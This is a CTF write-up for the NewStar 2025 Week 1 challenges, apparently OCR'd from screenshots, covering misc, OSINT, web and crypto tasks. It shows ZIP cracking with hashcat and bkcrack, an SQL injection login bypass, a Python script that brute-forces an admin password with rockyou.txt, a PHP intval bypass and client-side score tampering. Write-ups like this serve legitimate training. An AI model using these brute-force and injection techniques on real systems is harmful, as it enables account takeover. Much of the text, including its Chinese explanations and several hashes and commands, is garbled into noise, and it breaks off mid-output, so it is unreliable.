Newstar2025 WRITEUP
Week1 [BEEAZE

® [misc]Sign_in

\ Sign in /

MESE: 1 BHEWES: 1

5 CodeAtlantis i Qluu

AT flag, Ctrl+C, Ctrl+V

flag{Welcome_to_NewStar_CTF_2025'}

® [misc] RREERLIK

wIFEB B, #EH WinDbg 3TH, #Alanalyze -v,



14: kd> Ianalyze -V

*

*

CRITICAL PROCESS_DIED (ef)

Arguments:
ArgZ2: 0000000000000000, If this is O,
Arg4: 0000000000000000

Debugging Details:

BUGCHECE CODE: ef

BUGCHECK Pl: ffffdl8eScfbcl40
BUGCHECK P2: 0

BUGCHECK P3: ffffdlge%cfbcl40
BUGCHECK P4: 0O

FILE IN CAB: 071825-14921-01.dmp
PROCESS NAME: svchost.exe

CRITICAL PROCESS: svchost.exe

BLACEBOXBSD: 1 (!blackboxbsd)

pay LLLLLCgT-g??tEm process died

* Bugcheck Analysis

a process died.

Argl: ffffdl8e%cfbcld0, Process object or thread cbject

If this is 1,

ERE R R R R R R R R R R R R R R R R R R R R T R R R R R R R R R R R T T R R R T R R R R R R R R T R R

*

*

*

khkhkkkdkhkhkhkhkhkdhhdhkhhhddbhdrrddbhdrhrrhdhhhrddrhhrhkdrhdrhrrhdrhrrddrhdrddrhdrhhrhdx

a thread died.

Arg3: ffffdl8e%cfbeld40, The process cbject that initiated the termination.

ERROR CODE: (NTSTATUS) 0xa422e080 - <Unable to get error code text>

EL®EIFHE|EELR (CRITICAL_PROCESS_DIED), ET@Ek3|

WEH#HFE (svchost.exe), #R#E flag &= . txt HH flag

f1ag{CRITICAL_PROCESS_DIED_svchost.exe}

® [misc] MISC B3R-ELEAK

FIFERER, RIAABPME, RFETR, LRATT

“abcd...xyz0123...789 %n

“abcdefghijklmnopgrstuvwxyz0123456789”, Axt, TEBR|T

REE BN FERE, £ zip2john+hashcat I

B



zip2john D:\Path\To\Zip\File.zip

D:\PiYuanZhoulv\john-1.9.0-jumbo-1-win64\john-1.9.0-jumbo~1-win64\run>zip2john D:\PiYuanZhoulv\sl\NewStar2025\aaa.zip
ver 2.0 aaa.zip/bkcrack.zip PKZIP Encr: cmplen=417, decmplen=516, crc=6BEODODD

ver 2.0 aaa.zip/tips.txt PKZIP Encr: cmplen=154, decmplen=162, crc=7250DC53
aaa.zip:$pkzip2$2*1*1x0*8*2U*x6be@*7cdd*350cOedFfauldll590812ufa2765e7deed5bcOc191e3bal758afe7abccbbel5e85a8edd32*2*x0*9axa
2%7250dc53*1ca*26*x8%9a*7250%7d31+04039daaSeefd918e2600cedac7el13d865b2f7b95f69985ce0c8U9eaSblebl 75913692238 fe3e3bd1lel?
3e8fb808d9au5321db78b27decd£92a20db10f6+53b3U422518625c2ca8d27c50U58abff80f0019c56FF593c94a859d2d21233dUabbed8391aac32d76

£7£2562dcefUa287cbefdbbcd6cali3650c929fe025a131074d9F2507732ba2b3eb3e4089b737d0d3d53F4d88d5U265U57UbFT*$/pkzip2$ :: aaa.zip
:tips.txt, bkcrack.zip:D:\PiYuanZhoulLv\sl\NewStar2025\aaa.zip

NOTE: It is assumed that all files in each archive have the same password.

If that is not the case, the hash may be uncrackable. To avoid this, use

option -o to pick a file at a time.

(XEBB|—AVNER, IEXHERE NI E)

hashcat -m 17220 -a 3
$pkzip2$2%1*1x0*x8*24%6beO*x7cdd*350c0edfas41159081
24fa2765e7deedbbc0cl191e3bal758afe7abccb4belbe85a8
e4d32%2%0%x9a%xa2%x7250dch3*x1ca*x26*x8x9ax7250%x7d31%x04
039daabeefd?218e2600cedac7e113d865b2f7b95f69985cel
c849eabbleb47f5e913692238Ffe3e3bdlel73e8fh808d%a45
321db78b27dec4t92a20db10f6153b3422518625¢c2ca8d27c
50458abff80f0019¢c56Fff593c94a859d2d21233d4abbe4839
laac32d76f7f2562dcef4a287cbefdbbcdb6cas3650¢c929fel
25a131074d9f2507732ba2b3eb3e4089b737d0d3d53f4d88d
542654574bF7%$/pkzip2$ -1 ?12d 21?1?1?2121?1

D:\PiYuanZhoulv\hashcat-7.1.0>hashcat -m 17220 -a 3 $pkzip2$2*1*1*0*8*2Ux6bed*Tcdd*350cOedfalyl15908124fa2765e7deeld5bcodc
191e3bal758afe7abccbdbel5e85a8edd32*2*0%9a*a2%7250dc53*1ca*x26*x8+9a*7250+7d31*04039daaSeefd918e2600cedac7el13d865b2f7b95f

69985ce0c849eabblebd75e913692238fe3e3bdlel73e8fb808d9al5321db78b27decU£92a20db10f6+53b3422518625c2ca8d27c50458abf 8000
19c56ff593c94a859d2d21233d4abbeld8391aac32d76f7f2562dcefda287cbefdbbecd6cald3650c929fe025a131074d9f2507732ba2b3eb3e4089b737
d0d3d53fUd88d54265U57ubf7*$/pkzip2$ -1 ?1?2d ?1?1?17171?1 --show

$pkzip2$2*1%x1%x0*8*2Ux6be@*Tcdd*350c0edfaudl1590812ufa2765e7deeldSbcOc191e3bal758afe7abccbibel5e85a8eld32*2+0*9a*a2x7250dc
53*%1ca*26*x8%x9a*7250%7d31*x04039daa5eefd918e2600cedacTel13d865b2f7b95f69985ce0c8U9ea5blebd7f5e913692238fe3e3bd1e173e8b808
d9ai5321db78b27decd£92a20db10f6£53b3422518625c2ca8d27c50458abff80f0019c56ff593c94a859d2d21233ddabbeld8391aac32d76f72562d
cefla287cbefdbbcd6cali3650c929fe025a131074d9F2507732ba2b3eb3ed089b737d0d3d53fUd88d54265U57Ubf7*$/pkzip2$: ns2025

(A 6 AL RFshRE RN, WAUA--1increment; B A&
—iR Y, RAWEHRE)

BB E—E%:. ns2025
FRITARE] tips. txt, WA RIMNE

A ImHex BB A4 0 BRI+




UORD
u.)
c5N
$.@*n

Pattern Data

A4

a4 2 byte GeneralPurcps
8x000081
0x000001

0x000001;

fRTTAR 3| flag.zip A1 key.txt, MRFEEEBLRER, A bkerack
FRATA X K&, R EERM: 1) EBEERIM key.txt B9 CRC (B4R
E; 2) key.txt &HZELHX 23bytes>12bytes; 3) flag.zip BI/E
487 N "Store”s R ABHTEA K &

bkcrack -C D:\Path\To\flag.zip -c key.txt -p

D:\Path\To\key.txt

D:\PiYuanZhoulv\bkcrack-1.8.0-win64>bkcrack -C D:\PiYuanZhoulv\sl\NewStar2025\misc_compress\flag.zip -c key.txt -p D:\Pi
YuanZhoulv\s1\NewStar2025\misc_compress\key.txt

bkecrack 1.8.0 - 2025-08

[17:18:55] Z reduction using 16 bytes of known plaintext

100.0 % (16 / 16)

[17:18:55] Attack on 445380 Z values at index 6

Keys: c5a43985 Oefe59a5 5dfb3167

63.8 % (284180 / 445380)

Found a solution. Stopping.

You may resume the attack with the opti --continue-attack 284180
[17:20:05] Keys

c5a43985 Befe59a5 5dfb3167

1335|7540 c5aa3985 Befeb9ab 5dfb3167




bkcrack -C D:\Path\To\flag.zip -D decrypted.zip
-k cb5a43985 0efeb%ab 5dfh3167

D:\PiYuanZhoulv\bkcrack-1.8.0-win64>bkcrack -C D:\PiYuanZhoulv\sl\NewStar2025\misc_compress\flag.zip -D decrypted.zip -k

c5al3985 Oefe59a5 5dfb3167

bkcrack 1.8.0 - 2025-08-18

[17:23:49] Writing decrypted archive decrypted.zip
100.0 % (2 / 2)

fRR B4R, 183 flagggggg. txt
flag{You_have_mastered_the_zip_magic!'}
® [misc] EZ_fence

fRJE fencel.l.jpg, fE/A binwalk XIFEA—/ rar X4, i
-e JEH

L¢ binwalk f*.jpg

HEXADECIMAL DESCRIPTION

Ox0 JPEG image data, JFIF standard 1.01
OxD134 RAR archive data, version 5.x

ME jpg X, RI—NEFSHNFRFE, FNE basebs, 1RIE
AMBtR (fence, 4 NMTTF-e4rFrras)) BNNIZE 4 =1
A= 25 8D, $REB|—NE LM 25 A0 AR 25 W 3k
https://ctf.bugku.com/tool/railfence



https://ctf.bugku.com/tool/railfence

AmanCTF - =N/ e

rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvinMWoSotB

= G Ll | RS | | BEmE | | WEmE |
HER waY
rV=ydAvvh7wj9GunzWZMftvWwLjozPhSSQvogJPtoKyB rSvMwgdouWZVhAvoj79GhSvWztPoyL fPytvQwJjBnKz=

LW R AR LRSS basebd ¥, {#F basebd R~ A,
B ERMAEIGE, £A

Address 0o B1 @ 84 B5 B6 0 L oc oo e

01 o2

03 02

04 05

GE 12

515 15

DB 43 01
08
14
14
4 14

ight 4496
Path segments[4].data.imageHeight
Type
Address 0x000000A3
Size 2 Bytes
Parent offset  0x01
Endian

FF
84
81

couwaaa
GRNARE

Value
1_ooo
0x0000009E a 08O ¢ b Segment
0x0B0BOASE 3 type: :Hagi
0x0BOBOBIF ] by Harker
0x000

[3]

Segment

TUERTABRA — BT/, NYE basebs WFFX



rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjinMWoSotB

8426513709qazwsxedcrfvtgbyhnu jmikoplQWSAERFDTYHGUIK JOPLMNBVCXZ-_

HE—NRIFE EXFERE basebs fRwS 3k
https://www.toolhelper.cn/EncodeDecode/Base

rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwdJjBnKz=

e
R

t 54 |

|

35D |

RS Basebd v FHRE: UTF-8 v

fMEDZk  8426513709qazwsxedcrfvigbyhnujmikoplQWSAERFDTYHGUIKJOPLMNBYCXZ-_

Newbtar_zjuatrojee1magebeed77yo#

53] rar BAREZR NewStar_zjuatrojeelmage5eed77yo#
=3 flag

flag{yOu_knOw_ez_fence_tuzhOng}


https://www.toolhelper.cn/EncodeDecode/Base

® [misc] IAXF, FIXBRMRAHA

(Trackl)

T txt XtF, RIAABREXRTERFZRN, NEETRFRR
&

5, @3t vscode e UEHX—5,

¥ (zero-width[U+200E][U+200E] space) \u2e@B : M THk
7T (zero width no-break space) \ufFEFF : [ T-BHAESsEfE
¥ (zero-width joiner) \u200@@D : J T BRI T 5]

7% [U+208E][U+200E](zero-width non-joiner) \u2eec :@[u+20eE] M T

ki E4i7F[u+200E | @[U+200E] (left-to-right mark) \u2@eE : [T ) i1 % B cAS (Bl RAAEZEGBRENEESHELREHRTOEE) MR-

RE|—NBE IS R W 5
https://tool.bfw.wiki/t001/1695021695027599.html
RPARR B B

JRSZ: (< 353) FRSSA(KIE: 437)

=1

FEEEIET (zero-width space) \u200B : F§
FRESENRTORE

BEEEBIFF (zero-width non-joiner) \u200C *
: AFARME, B, EERENFTH,
fE SR EEFIIFRHBRIEFTER

« R

h €

R (KR 12) EZ=AF (left-to-right mark) \u200E : FBF7E
BENFHANSMES AT (6. BE
ERPENRESAZERSHNAIANEE) |
MEAMRN FRELRAEEA

#Stego XA TR

EEARNEEEF:

JU+200A ZERO WIDTH SPACE

®U +200B ZERO WIDTH SPACE

®U+200C ZERO WIDTH NON-JOINER
®U+200D ZERO WIDTH JOINER
®U+200E LEFT-TO-RIGHT MARK
[JU+200F LEFT-TO-RIGHT MARK
UJU+202A LEFT-TO-RIGHT EMBEDDING
JUu+202C POP DIRECTIONAL FORMATTING
JU+202D LEFT-TO-RIGHT OVERRIDE
OJu+2062 INVISIBLE TIMES

JU+2063 INVISIBLE SEPARATOR
®U+FEFF ZERO WIDTH NO-BREAK SPACE


https://tool.bfw.wiki/tool/1695021695027599.html
https://tool.bfw.wiki/tool/1695021695027599.html

23| ZmxhzZ3t5b3VF, ERN Zmxh & fla 89 basebs, —IRTEXE

E A baseb4, F python

>>> import baseéb4

>>> baseb4.bb4decode('ZmxhZ3t5b3VF")

23| flag{you_
(Track2)

E3| fxxk brain, L EAER:XNYZ brainfuck 25, #3|—

ANELRITITME https://ctf.bugku.com/tool/brainfuck

AmanCTF - Brainfuck/OoK &%=

here's key

+++++ FH++[ DHEE A+ H<]>F FEH R bR R H<HE [ < > <
++4[- >---- <]>- HH++HE HHE H o oo < Ht+[- >+ P H++ HH+<

++4[ D--- <] bt HEHEt o< H - D H < >4 FHH][- >--< ]

St b L <HE] Doo- <]3e- <

Text To BrainFuck Text To Short Ook! Text To Ook! BrainFuck To Text ‘ Ook! To Text

brainfuckisgooooood

#%£%| brainfuckisgooooood, KiEiR~, XEEEEZRK key

4 4F doox X, RIURZ =0 Tab (BARB|MIE RAAEA IR
)



https://ctf.bugku.com/tool/brainfuck

=Ty iy = E R~ ? X

E===2 1= & H. EX FkE %T\ 1 *T\f—f)
BB E #
‘uik%% T F S Sei B el

BAEESARE, - s o 5.

SIS, B O s S e S o
HWER, - Seveennn Seeenen O Beaeeeen > > e
ARRE: - S N S o
BB S D o e a

HFHILE: - > > Beeennn Y o

MER ST - > Do S oeeeenen B e o

=k 55 e e e o
FEHEENE, oo Soeeens Seeet 5 o

BREER, = SRR S S

NAKRFds L, S oeeeeen e IR S50 S oeeeeann o

82| Whitespace 1B, BATHARARIR, #H—HEEREZI SNOW
meE (X2 EWEALENRER) ., XEMTE
https://darkside.com.au/snow/, (ERBRAEENRRKRT

A L6 ANXH), BXHAZEE snow. txt, #UT

Et}

snow -p brainfuckisgooooood snow.txt

D:\PiYuanZhoulLv\sl\NewStar2025\[Misclgi B X =, FFUBRBREB\BEXZE, FUERERMBE M \Track 2>snow -p brainfuckisgooooo

od snow.txt

T8 — R EarED, R—MEEML



https://darkside.com.au/snow/

https://www.lddgo.net/encrypt/morse

il

SR

OV3RC4ME_

FRSE152 OV3RC4AME _
(Track3)
T txt Ui, &R iz EE, BRILEK,

WX S, EA python ZitFHREX

In [1]: text = open('i#EZ /), —HE&.txt').read()
In [2]: charset = set(text)
In [3]: len(charset)

Out[3]: 95



https://www.lddgo.net/encrypt/morse

23R8 & base95, LTIk,

BRFERR, RitFEM

In [4]: freq = {c:text.count(c) for c in charset}
In [5]: freq

Out[5]:

{'{': 591, 'L': 1300, '/': 594, '|': 592, ',6': 581,
'k': 612, '8': 556, 'X': 5b6, '&': 622, 'P': 594,
'U': 594, '3': 1100, '9': 626, '6': 608, 'i': 637,
'"': 559, '+': 593, 'g': b57, 'A': 579, 'C': 605,
'"W': 563, 'j': 547, 'l': 577, 'a': 585, ']': 621,
'(': 573, 'E': 597, 'R': 573, '1l': 1350, 'Z': 599,
'"T': 607, '0': 601, '4': 605, 'y': 590, '#': 610,
'_': 575, 'u': 606, '\\': 571, 'Q': 631, '0': 565,

'V': 635, 'K': 631, 'r': 607, 'n': 1200, '>': 619,

'F': 632, '!': 648, '7': 587, 'x': 600, 'c': 1500,

"r. b, 'D': 556, 'I': 557, ' ': 584, '%': b84,

'p': 592, '}': 1000, 'Y': 619, ':': 598, 'G': 1150,
's': 1050, 'M': 597, '@': 1460, 't': 617, '-': 579,

'=': 60, 'v': 627, 'd': 625, 'J': 601, '"': H94,

'o': B%6, 'f': H71, 'h': 618, '.': 627, 'z': 596,

';': 625, '$': 590, '~': 582, 'x': 583, 'S': 553,

'e': 1250, ')': 612, 'm': 619, 'G': 613, '?': 588,
[': 579, 'B': 591, 'q': 597, 'H': 1450, 'N': 539,

'w': 659, '<': 597, 'A': 629, 'b': 593, '2': 576}

ERIE D EFFLHEEN 1000, #ZEIVREBMAKRENERF

In [6]: ''.join(map(lambda x: x[0], sorted(freq.items(), key=lambda x: x[1], reverse=True)))




| Out[6]: 'cHEllenG3shw!iVFQKAV.9d;&]>Ymhtok)#6TruC4BIXZ : EMg<oz/PU"+b | p{By$27a %x~, A-[12_(R\\F\'OW="gI8XDSIN'

(RFER, Python —4TRBREIET)
BI—3%8% cH@1LenG3s}Bl flag ME&/E—3 %
&g &mk flag

flag{you_OV3RC4ME_cH@lLenG3s}

® [misc] OSINT-X% belong

MBI R ®, HATTLLEN3E, KHL%R5 2 B-7198, HIREEZ
2025/8/17 15:03, mIXFAAREHIER A Xiaomi,

—BEREIT
https://www.flightaware.com/live/flight/B7198/his
tory/320

3 SR canBennoa® -0

oooooooo



https://www.flightaware.com/live/flight/B7198/history/320
https://www.flightaware.com/live/flight/B7198/history/320

Bl e R R 4

FlightAware T G oo BT

Products Industries Flight Tracking Community Company

B-7198 v & a

E CUH3574 / UQ3574 (i )
LANDED OVER A MONTH AGO i i
Operating as Urumai Air 3574 Flight Details

View track log

TNA CSX  Alfights between THA snd CSX
JINAN, CHINA CHANGSHA, CHINA -
Departure Times
eft GATE 7 "
Jinan.Yaodiang - TNA Changsha Huanohua lr Gate Departure Takeoff
SUNDAY 17-AUG-2025 SUNDAY 17-AUG-2025  01:20PMCST ovazPmesT
01:37PM CST (on time) (10 minutes early) 03:14PM CST  Schecdled 01207 CST Skl biatomwesT

Taxi Time: 17 minutes

verage Delay: 2040 minutes
1h37m total travel time Average Delay: 20-40 minute:

Arrival Times
NOT YOUR FLIGHT? B-7198 flight schedule

Landing Gate Arrival
S - 03:14PM CST 03:25PM CST
Set Up Unlimited Flight Alerts & More Scheduled 03:13PM CST Scheduled 03:35PM CST
Check out premium account features for aviation professionals and enthusiasts. Tt .
Average Delay: 10-20 minutes
Discover FlightAware Premium

v Show Features

Aircraft Details

Aircraft Information
Tail Number B:7198 - Registration
Owner  Unknown Owner

Aireraft  Boeing 737-800 (twin-et) (B738) Photos
Type

Airline Information

Airline  Urumgi Air LOU LAN* all flights

Cabin Business / Economy: No meal

Flight Data £
Speed  Filed: 336 mph graph

Distance Direct 643 mi

Top Boeing 737-800 (Twin-Jet) Photos

3w

Y
FlightAware view all photos

© Report inaccuracies on this page

TNA/ CSX 01:37PM CST

LI

EZIANIIE UQ3574, @R ZABRNEBSWTA: FE. X, K
b, — &K, ZIMIEMH flag:

/
\/

3

flag{UQ3574_=,X T _Xiaomi}

® [web] multi-headach3

Hello! &~ ROBOTS, F=&5iE/robots. txt

Today is 2025/10/03

welcome to my first website!

ROBOTS is protecting this website!
But... Why my head is so painful???!!!



&I /hidden.php B&®, 48]  User—agent: *

) . Disallow: /hidden. php
/hidden.php, ZMEEEM
Z /index.php, tR#ERR, FEE| flag "TAEME HTTP k%
h, fEERP &Rk, 7E/hidden.php Bk &I flag

v EHl

153k URL https://eci-2zehrzytufufkblafncs.cloudecil.ichungiu.com:80/hidden.php
EkAE GET

WERB 302 Found

imiEhE 8.141.24.111:80

5 | PR rRES strict-origin-when-cross-origin

v e firAnsk

Content-Length 0

Content-Type text/html

Date Fri, 03 Oct 2025 11:02:05 GMT

Fldg flag{6648fb56-8104-46bc-b6bd-7be16998a970}
Location /index.php

Set-Cookie found_hidden=1

X-Powered-By PHP/5.5.9-Tubuntu4.29 2

flag{6648fh56-8104-46bc-bb6bd-7bel6998a970}

® [web] strange_login

< N N 71— SR
WAERER, —K SQLEAN, K& - flag? ("7 | )
FEEHE? X
{RAOZISEAE FRERIESS, FEEERNRT ST B ISR
Microsoft T
W, admin!
AFE
‘or1=14 AV i '
| flag(d6fef168-4£01-4d19-87£7-150dc28eb50b) |
=5
) FLIE1=1T! ? - BIRSSEHETHESE &

e, REmMEXABE[ERRK]

flag{d6fefl68-4f01-4d19-87f7-150dc28eb50b}



® [web] BE/NW HEE (1)

FE—RITIR, F12 BFMLK, &I POST BEmE% A, E4A
cURL(bash), T HTTPie (Hfhth=TL, REZREXAWFT
JR, BFELEERE|M ImHex), §A, ¥ 18k 114514, %k3%

POST 3+ https /hunt

Params Headers 14 Auth Body ® L Request POST Response 200

v { 200 OK (5 headers)
"count": 114514

"Gushen": 1

Request POST Response 200

v 200 0K
close
29
application/json
Fri, 03 Oct 2025 11:24:33 GMT

token=eyJhbGciOiJIUzI1NiIsInR5cCIBIkpXVCJ9. eyJOYW11TjoiVHJ1ZSIsImx1dmVsI
joyTQ.y5QDPxDObWpWwTOZCEjuorovVCGS87etRO1lezJdQOVI; Path=/

A
VoAl

"NextLevel": "/Level2_mato"

1
&r

¥y, 23 TFT—BLURL, BERAEXNKREEHE S SWHMEEL, F
B3| HARENRE T cookie, NizEXNEIE, BHEEINK

|, A4 (T RILBGA LERE, AR S8R,



uuuuuu

Bk, GEFEME, AMEEH A cURL, A
RAER T, #3d GET /£ A\ shipin=modubaozi

¥ url BCH

https://host:port/talkToMushroom?shipin=mogubaozi

Wi, RERER POST 5iE, A4 A8 POST, body 3EA
guding, #~f#EH DELETE A &MIFk chongzi, A 7AkA
DELETE, body3&EA chongzi, Z /& POST, body &
guding iFXK, 45 token fo F—Bk, (UL URLHFE

wr?shipin=mogubaozi)

F=R, ERR, BRUA EXEFRTHA, EAEARNUAR

FEME,

ZEME, UA B9 A <product>/<product-version>
<comment>, REZFE AT AE, HEELN UA BEFERKN,
EEREUATEZET SR BMFRE, mMbAHBATEEZEEAT R

HFEM, FERET WITANE, REASE, HAME UA:




User-Agent: CycloneSlash/114.5.14

MR, FERAN VA REEDE IR, BIXE/MEE,
FERRANE (EREAT) KT 1,

RGI-~A A DashSlash, Zkisthse:

User-Agent: CycloneSlash/114.5.14 DashSlash/191.98.10

DashSlash iR AE K5 CycloneSlash £, EFRAEER
ATFETF 5, 23] token Fo F—5k,

Bkt 2z m 23| flag

MELKFSTHAENEIIRE T, BEREFEFHA? B? RRIFEE flag?
LRE, XRBAERIEESXERT
flag{8be077cb-cc1f-4a65-9189-edf5a78f69¢c3}

flag{8be077chb-cclf-4a65-9189-edf5a78f69c3}

® [web] FHHIPLE php

LR F12, RIEAR, BWEMERETT: EMUAZIZT F12,
— BRI UITAAFEAARLTERE CGRUNEADE/ZFAITHF, X
L, XEHR ban T F12 fo Ctr1+U, FAHAftbpypeiEmErsT, 0

Edge \TXE A TEERE Ctrl+Shift+I)




Q  mutkiEzR

R

P ® =2 0
AR T
HrEE O

AR ToRE

0 Go

4B
Wi
AL S
tree A

E

O w

D s VOO0
B
hin}

Ctrl+T
Ctrl+N

Ctrl+Shift+N

100%

Ctrl+Shift+O

Ctrl+H

Ctrl+)

S (|

BRI &= Ctrl+Shift+HEa
@ HE= FIED Ctrl+P
N7
TN
B BRESEN Giies O 2R
BRI % & Ctrl+Shift+S
B A Q) HRHELEEK Ctri+F
W, 3
O 1 g RE
=B &=
= Ctrl+Shift+Y @ BRI
LI 357 4] Microsoft Edge
AN KR Ctrl+Shift+U
P> Drop
wREO...
& BEEIHESE
P BRI TR SR
EiEStEEaS
BB
NS (ES EIEes

Ctrl+Shift+l

G ARARIE

&I —/ B SCE, 4E/s3kret. php



<IDOCTYPE html>
<html lang="zh">
P <head> - </head>

*=* ¥ <body> &
<canvas id="blackHoleCanvas™ width="1699" height="331">
<l-- RIERARH 7 ... . X BEEN#BE -

<!l-- s3kret.php -->
P <script> - </script>
</body>
</html>

k3| T EXANFE

<?php
highlight file( FILE );
include “flag.php”;
if(isset($§ _POST[ newstar2025’ 1)) {
$answer = § POST[ newstar2025 ]:
if(intval ($answer) | =47&&intval ($answer, 0) ==47) {
echo $flag;
telse
echo "{RibAZIE BEA"

BRER, BROTTUEE o

highlight_file(_ FILE_):

intval ( ?, ] ) é—\{ E i]‘]ﬁﬁ include “flag. php”;

if (isset ($_POST[ newstar2025 1)) {

Sanswer = $_POST[ newstar2025’1;

*ﬁ"i&ﬁa‘u S '!-"5(*;,\] iﬁ“o 5 7”\ if (intval ($answer) !=47&&kintval (§answer, 0)==47) {

echo $flag;

}else{

Ox2f Ep—q ’ ‘ echo “RILAZIEEFL";

} flag{?;50205fe—b6d6—49f9-9'| a0-f4bef9b0d9d1}

flag{350205fe-b6d6-49f9-91a0-f4befob0dod1}

® [web] REMFIBHIIRT



RKEEEALETLR, 3R EA (RIXF Ctrl+Shift+I =
K etk ban ik~ R3EKINEY Ctr1+Shift+E, Shift+F2 {4
TR ERARRER), BEEEEA TR R EEM T 7t ok

| ;; L %‘-'-i e {4 2R A

function checkShieldStatus() {
const shield

document.getElementById( ' shieldoOverlay');
document.getElementById( ' accessButton');

const button

if (!shield) {
button.classList.add( active’);
button.disabled = false;

} else {
button.classList.remove( active');
button.disabled = true;

checkshieldstatus();

setInterval(checkShieldstatus, 508);

ERA, ZIREIL#shieldOverlay Ml T stT L (AW LUE
B A" {EFrA javascript #l ¥ =538 button 8
disabled ol 7), ZEAERHAFANT—X,

FoR, MBI, XAB/ELEE, AFEER adnin, Hk

A rockyou.txt.gz

TaEEEREMAE, EHEN https://curlconverter.com/4
Jo



https://curlconverter.com/

import requests

def crack(pwd):
cookies = {

# HRARE

headers = {

# R ARE

}
data = {
'username': 'admin',
'password': pwd,
}

response = requests.post(
"https://HuanChengNiDe/weak_password.php',
cookies=cookies,
headers=headers,
data=data,

return '4&M&' not in response.text

for pwd in open('D:/PiYuanZhoulLv/rockyou.txt'):
pwd = pwd.strip()
print(pwd)
if crack(pwd):
print("THE PASSWORD IS", pwd)
exit()




D:\PiYuanZhoulLv\sl\NewStar2e25>D: /python313/python.exe d:/PiYuanZhoulLv/sl/NewStar2025/crackwpsd.py
123456

12345

123456789

password

iloveyou
princess
1234567
rockyou
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
querty
111111
THE PASSWORD IS 111111

HIFBHZEAL A 111111, BEFEHANE=X
BAREL, LUT ZREI&M4:

1.$input RE%k4A
2.$input IRAEFFE. *. /. ~
3.%input REEA 4K F

—FHEREEARR TR, BRERI, L% 5+405 RTUT, o
RIRF R — ST, BH 1%2025, ~~2025 EXRAR

FLAG: flag{8f677481-6947-467a-

b919-8bea79860f60}

IriP{Rnewstar!




£T flag

flag{8f677481-6947-467a-b919-8bea79860f60}
® [web] HlK, IRUARTE=_X

YER! /IR eI—iEEi!

F—KMEREEE, FoX? 77

eci-2ze9i5ld3m7b9vjfrzlq.cloudecil.ichungiu.com:80 £
5 2 FoAR B RS 4 (B 1000000), EEFFHESE!

let score = @;

let steps = @;

let maxSteps = 10; // FEOcHiEECE

let targetScores = [30, 1eeeeee]; // HFJcHnr%
let currentLevel = @; // @ Findi K

let gameEnded = false;

let finishSpawned = false;

let playerX = 180;

let gateInterval = null;

1.8 maxSteps ARCRR, L ICFTA FZERERREA, Wt

e 2o >h

2.3E8 targetScores BKE— & 5, REIE®EIUHFK

BRI AL REFTE, LI fetch:



const formData = new URLSearchParams();
formData.append("score”, score);

fetch("/flag.php”, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded”

}s
body: formData.tostring()

1)

.then(res => res.text())
.then(data => {
alert ("5 : \n" + data);

1)

.catch(err => {
alert("ifFREM: " + err);

1)

18 score B&AX 1145141919810, REIEXERMRDIER| NG| &35/T
T T~ (FTAEEZEEN . 2 2243 flag #9)

LR, WA UETUHFXR I ZE score+=1145141919810, XAF
A LIEFE A get flag T~

eci-2ze9i51d3m7b9vjfrzlq.cloudecil.ichungiu.com:80 &=

IR55E5IR(E]:
Hr=newstar, IXERAflag
flag{7bdec25a-7ccc-4539-80a9-7750c733dc1c}

k. F

flag{7bdec25a-7ccc-4539-80a9-7750c733dclc}

® [Crypto] ®—& R



reconstructed, _ = crt(used_primes, remainders)

reconstructed n:
remainders

BN, AMTUEER crt A2E#E n, Ctrl+C/V BARR:

from sympy.ntheory.modular import crt
from sympy import primerange
primes = list(primerange(2, 114514))

remainders = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1,
30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11,
69, 26, 8, 73, 84, 67, 160, 9, 77, 72, 127, 49,
57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100,
146, 100, 194, 2, 161, 35, 155]

reconstructed, _ = crt(primes[:len(remainders)],
remainders)

from Crypto.Util.number import long_to_bytes
print(long_to_bytes(reconstructed))

Crypto.Ut wumbe long_to_bytes
(long_to_bytes(reconstructed))

b flag{9c8589c2-aech-tect-b27-654bc322e2d1} *

flag{9c8589c2-aecb-4ec4-bh027-654bc322e2d1}
® [Crypto] /]\Bkit
C+pl+CLV oSk pk 2Ty

BN, FIWrZBEALIRT, BAETLFRN, TP




import re
cnt =0
while cnt < 5:

user_input = input("Please input the start position
of the frog (a,b) :")

pattern = r'[Q1?(\d+) [,\s]+(\d+)[)]?"
match = re.match(pattern, user_input.strip())
if match:
a, b = map(int, match.groups())
else:

print("Unable to parse the input. Please check the
format and re-enter")

continue

original_a, original_b = a, b
while a != b:

if a > b:
a=a-»>b

else:
b=Db-a

print(f"Final ({a}, {b})! Keep going for " + str(4-
cnt) + " more times and you will get the mysterious
flag!")

cnt += 1

if cnt == 5;

print("Congratulations, you answered all the
questions correctly!")

REBITREIGER




en a = b, it will stay where it is.
If you succeed, I will give you a mysterious flag.
Next, I will provide five sets of (a, b), and please submit th
e final position (x, y) of the frog in sequence 1.(a,b) is: (3,6)
Please input the final position of the frog (x,y) :3, 3
If you succeed, I will give you a mysterious flag. Congratulations, you answered correctly! Keep going for 4 more
times and you will get the mysterious flag!
Please input the start position of the frog (a,b) :(3,6) 2.(a,b) is: (64,63)
Final (3, 3)! Keep going for 4 more times and you will get the Please input the final position of the frog (x,y) :1, 1
mysterious flag! Congratulations, you answered correctly! Keep going for 3 more
Please input the start position of the frog (a,b) :(64,63) times and you will get the mysterious flag!
Final (1, 1)! Keep going for 3 more times and you will get the 3.(a,b) is: (844,928)
mysterious flag! Please input the final position of the frog (x,y) :4, 4
Please input the start position of the frog (a,b) :(844,928) Congratulations, you answered correctly! Keep going for 2 more
Final (4, 4)! Keep going for 2 more times and you will get the times and you will get the mysterious flag!
mysterious flag! 4.(a,b) is: (8207,8991)
Please input the start position of the frog (a,b) :(8207,8991) Please input the final position of the frog (x,y) :1, 1
Congratulations, you answered correctly! Keep going for 1 more
Final (1, 1)! Keep going for 1 more times and you will get the times and you will get the mysterious flag!
mysterious flag! 5.(a,b) is: (1@227,76028)
Please input the start position of the frog (a,b) :(16227,7602 Please input the final position of the frog (x,y) :1, 1
8) Congratulations, you answered correctly! Keep going for © more
Final (1, 1)! Keep going for © more times and you will get the times and you will get the mysterious flag!
mysterious flag! Congratulations, you answered all the questions correctly!
